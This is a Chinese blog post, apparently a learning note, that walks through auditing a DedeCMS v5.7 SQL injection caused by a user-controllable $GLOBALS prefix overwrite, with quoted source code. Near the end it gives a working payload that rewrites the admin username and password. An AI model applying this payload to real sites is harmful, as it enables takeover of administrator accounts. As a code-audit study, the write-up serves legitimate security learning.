最近在看Web渗透与漏洞挖掘,这本书的编写目的感觉非常的不错,把渗透和代码审计结合在一起,但是代码审计部分感觉思路个人认为并不是很清晰,在学习dedecms v5.7 SQL注入的时候就只看懂了漏洞,思路依然感觉迷茫,在这里我重新梳理一下这个漏洞的挖掘思路。
这个漏洞主要包括两方面,一是SQL注入本身,二是全局变量$GLOBALS可以被用户操控。拿到cms我们还是先浏览大致的结构,然后我们重点关注/include/dedesql.class.php文件,根据命名规则我们可以依据经验判断这是该cms的数据库连接配置文件。这个文件中有两个SQL执行语句,分别是ExecNoneQuery()和ExecNoneQuery2(),在ExecNoneQuery()中,该函数调用checksql()函数进行sql语句检查,我们继续阅读ExecNoneQuery2的代码:
1 //执行一个返回影响记录条数的SQL语句,如update,delete,insert等
2 function ExecuteNoneQuery2($sql='')3 {4 global $dsql;5 if(!$dsql->isInit)6 {7 $this->Init($this->pconnect);8 }9 if($dsql->isClose)10 {11 $this->Open(FALSE);12 $dsql->isClose = FALSE;13 }14
15 if(!empty($sql))16 {17 $this->SetQuery($sql);18 }19 if(is_array($this->parameters))20 {21 foreach($this->parameters as $key=>$value)22 {23 $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);24 }25 }26 $t1 =ExecTime();27 mysql_query($this->queryString,$this->linkID);28
29 //查询性能测试
30 if($this->recordLog) {31 $queryTime = ExecTime() - $t1;32 $this->RecordLog($queryTime);33 //echo $this->queryString."--{$queryTime}
\r\n";
34 }35
36 return mysql_affected_rows($this->linkID);37 }
很明显我们可以看出,这里并没有进行SQL语句安全性检查,所以我们要仔细检查该函数操控的文件或数据,我们全局搜索ExecuteNoneQuery2,发现/plus/download.php是由这个函数操控的,我们跟读这个文件,这个文件的主要功能是提供软件给用户下载,阅读以下代码:
1 else if($open==1)2 {3 //更新下载次数
4 $id &#61; isset($id) && is_numeric($id) ? $id : 0;5 $link &#61; base64_decode(urldecode($link));6 if ( !$link)7 {8 ShowMsg(&#39;无效地址&#39;,&#39;Javascript:;&#39;);9 exit;10 }11 $hash &#61; md5($link);12 $rs &#61; $dsql->ExecuteNoneQuery2("UPDATE &#96;#&#64;__downloads&#96; SET downloads &#61; downloads &#43; 1 WHERE hash&#61;&#39;$hash&#39; ");13 if($rs <&#61; 0)14 {15 $query &#61; " INSERT INTO &#96;#&#64;__downloads&#96;(&#96;hash&#96;,&#96;id&#96;,&#96;downloads&#96;) VALUES(&#39;$hash&#39;,&#39;$id&#39;,1); ";16 $dsql->ExecNoneQuery($query);17 }18
19 $row &#61; $dsql->GetOne("SELECT * FROM &#96;#&#64;__softconfig&#96; ");20 $sites &#61; explode("\n", $row[&#39;sites&#39;]);21 $allowed &#61; array();22 foreach($sites as $site)23 {24 $site &#61; explode(&#39;|&#39;, $site);25 $domain &#61; parse_url(trim($site[0]));26 $allowed[] &#61; $domain[&#39;host&#39;];27 }28
29 if ( !in_array($linkinfo[&#39;host&#39;], $allowed) )30 {31 ShowMsg(&#39;非下载地址&#xff0c;禁止访问&#39;,&#39;Javascript:;&#39;);32 exit;33 }34
35 header("location:$link");36 exit();37 }
这段代码的功能很好读&#xff0c;我们主要考虑两个细节&#xff0c;一是虽然没进行安全性检查&#xff0c;但是应该怎么绕过PGC&#xff1b;二是如何让这条SQL语句能为我所用。如果之前通读了/include/dedesql.class.php的代码&#xff0c;我们心中应该就有了答案&#xff0c;这个文件中有一个特殊操作&#xff1a;
1 //设置SQL语句&#xff0c;会自动把SQL语句里的#&#64;__替换为$this->dbPrefix(在配置文件中为$cfg_dbprefix)
2 function SetQuery($sql)3 {4 $prefix&#61;"#&#64;__";5 $sql &#61; str_replace($prefix,$GLOBALS[&#39;cfg_dbprefix&#39;],$sql);6 $this->queryString &#61; $sql;7 }8
9
10 if(isset($GLOBALS[&#39;arrs1&#39;]))11 {12 $v1 &#61; $v2 &#61; &#39;&#39;;13 for($i&#61;0;isset($arrs1[$i]);$i&#43;&#43;)14 {15 $v1 .&#61; chr($arrs1[$i]);16 }17 for($i&#61;0;isset($arrs2[$i]);$i&#43;&#43;)18 {19 $v2 .&#61; chr($arrs2[$i]);20 }21 $GLOBALS[$v1] .&#61; $v2;22 }
在这里以上两个问题已经全部解决&#xff0c;在提交SQL语句的时候程序使用了ASCII进行编码&#xff0c;直接绕过了GPC&#xff0c;arr1和arr2可以被用户操控任意修改。在代码的第五行&#xff0c;程序使用str_replace函数把SQL语句中的#&#64;_替换为了$GLOBALS[&#39;cfg_dbprefix&#39;]&#xff0c;全局搜索$cfg_dbprefix发现在/include/commen.inc.php中&#xff1a;
$cfg_dbprefix &#61; &#39;dede_&#39;;
在代码的第21行&#xff0c;这里采用.&#61;的方式拼接了$v1和$v2&#xff0c;.&#61;的用法和&#43;&#61;一致&#xff0c;$a.&#61;$b也就是$a&#61;$a.$b&#xff0c;所以我们控制$v1为cfg_dbprefix&#xff0c;将$v2构造SQL语句&#xff1a;
admin&#96; SET &#96;userid&#96;&#61;&#39;test&#39;, &#96;pwd&#96;&#61;&#39;565491d704013245&#39; where id&#61;1 #
完整的SQL语句为&#xff1a;
UPDATE &#96;dede_admin&#96; SET &#96;userid&#96;&#61;&#39;test&#39;, &#96;pwd&#96;&#61;&#39;565491d704013245&#39; where id&#61;1 #_downloads&#96; SET downloads &#61; downloads &#43; 1 WHERE hash&#61;&#39;$hash&#39;
执行后用户名为test&#xff0c;密码为123456。
这个漏洞的复现提醒了我&#xff0c;做代码审计通读核心文件的代码还是非常重要的&#xff0c;之前单纯的定位&#43;跟读方法无法应对复杂的攻击&#xff0c;后面我会尽可能的多通读一下代码吧。